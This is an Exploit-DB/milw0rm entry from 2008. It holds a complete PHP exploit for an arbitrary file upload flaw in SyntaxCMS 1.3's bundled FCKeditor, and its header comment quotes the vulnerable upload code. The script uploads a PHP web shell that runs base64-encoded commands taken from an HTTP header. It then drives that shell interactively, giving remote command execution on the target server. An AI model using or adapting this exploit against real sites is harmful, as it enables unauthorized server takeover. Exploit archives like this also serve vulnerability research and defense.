Exploit-DB #5688
Description: SyntaxCMS 1.3 - 'FCKeditor' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-05-29
Author: Stack

Exploit:
<?php
/*
 --------------------------------------------------------------
 Syntax CMS <=  1.3 (fckeditor) Arbitrary File Upload Exploit
 --------------------------------------------------------------
 
 Gr33ts t0 : EgiX, ThE GeNeRal L0s3r , Houssamix ,Str0ke <==> special THanks to EgiX For the Exploit Code
 
 author...: Stack
 mail.....: Ev!L
 descr:
        if the web site change the name of path or path is /public/  you can delet /public/ in the exploit
        in the line :
        "POST {$path}public/fckeditor/editor/filemanager/upload/php/upload.php
 [-] vulnerable code in /public/fckeditor/editor/filemanager/upload/php/upload.php
 
 41. // Get the posted file.
 42. $oFile = $_FILES['NewFile'] ;
 43. 
 44. // Get the uploaded file name and extension.
 45. $sFileName = $oFile['name'] ;
 46. $sOriginalFileName = $sFileName ;
 47. $sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
 48. $sExtension = strtolower( $sExtension ) ;
 49. 
 50. // The the file type (from the QueryString, by default 'File').
 51. $sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;
 52. 
 53. // Check if it is an allowed type.
 54. if ( !in_array( $sType, array('File','Image','Flash','Media') ) )
 55.     SendResults( 1, '', '', 'Invalid type specified' ) ;
 56. 
 57. // Get the allowed and denied extensions arrays.
 58. $arAllowed = $Config['AllowedExtensions'][$sType] ;
 59. $arDenied = $Config['DeniedExtensions'][$sType] ;
 60. 
 61. // Check if it is an allowed extension.
 62. if ( ( count($arAllowed) > 0 && !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) > 0 && in_array( $sExtension, $arDenied ) ) )
 63.  SendResults( '202' ) ;
 64. 
 65. $sErrorNumber = '0' ;
 66. $sFileUrl  = '' ;
 67. 
 68. // Initializes the counter used to rename the file, if another one with the same name already exists.
 69. $iCounter = 0 ;
 70. 
 71. // The the target directory.
 72. if ( isset( $Config['UserFilesAbsolutePath'] ) )
 73.  $sServerDir = $Config['UserFilesAbsolutePath'] ;
 74. else
 75.  //$sServerDir = GetRootPath() . $Config["UserFilesPath"] ;
 76.  $sServerDir = $Config["UserFilesPath"] ;
 77. 
 78. while ( true )
 79. {
 80.  // Compose the file path.
 81.  $sFilePath = $sServerDir . $sFileName ;
 82. 
 83.  // If a file with that name already exists.
 84.  if ( is_file( $sFilePath ) )
 85.  {
 86.   $iCounter++ ;
 87.   $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;
 88.   $sErrorNumber = '201' ;
 89.  }
 90.  else
 91.  {
 92.   move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;
 93. 
 94.   if ( is_file( $sFilePath ) )
 95.   {
 96.    $oldumask = umask(0) ;
 97.    chmod( $sFilePath, 0777 ) ;
 98.    umask( $oldumask ) ;
 99.   }
 100.   
 101.   $sFileUrl = $Config["UserFilesPath"] . $sFileName ;
 102. 
 103.   break ;
 
 with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code 
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}
print "\n+------------------------------------------------------------+";
print "\n| Syntax CMS <=  1.3 Arbitrary File Upload Exploit by Stack  |";
print "\n+------------------------------------------------------------+\n";
if ($argc < 2)
{
 print "\nUsage......: php $argv[0] host path";
 print "\nExample....: php $argv[0] localhost /Syntax/\n";
 die();
}
$host = $argv[1];
$path = $argv[2];
$data  = "--12345\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"s.php.he.ll\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";
$data .= "--12345--\r\n";
$packet  = "POST {$path}public/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($data)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $data;
preg_match("/OnUploadCompleted\((.*),\"(.*)\",\"(.*)\",/i", http_send($host, $packet), $html);
if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]})\n");
else print "\n[-] Shell uploaded to {$html[2]}...starting it!\n";
define(STDIN, fopen("php://stdin", "r"));
while(1)
{
 print "\nstack-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}datacenter/media/{$html[3]} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $output = http_send($host, $packet);
  if (eregi("print", $output) || !eregi("_code_", $output)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $output);
  print "\n{$shell[1]}";
 }
 else break;
}
?>

# milw0rm.com [2008-05-29]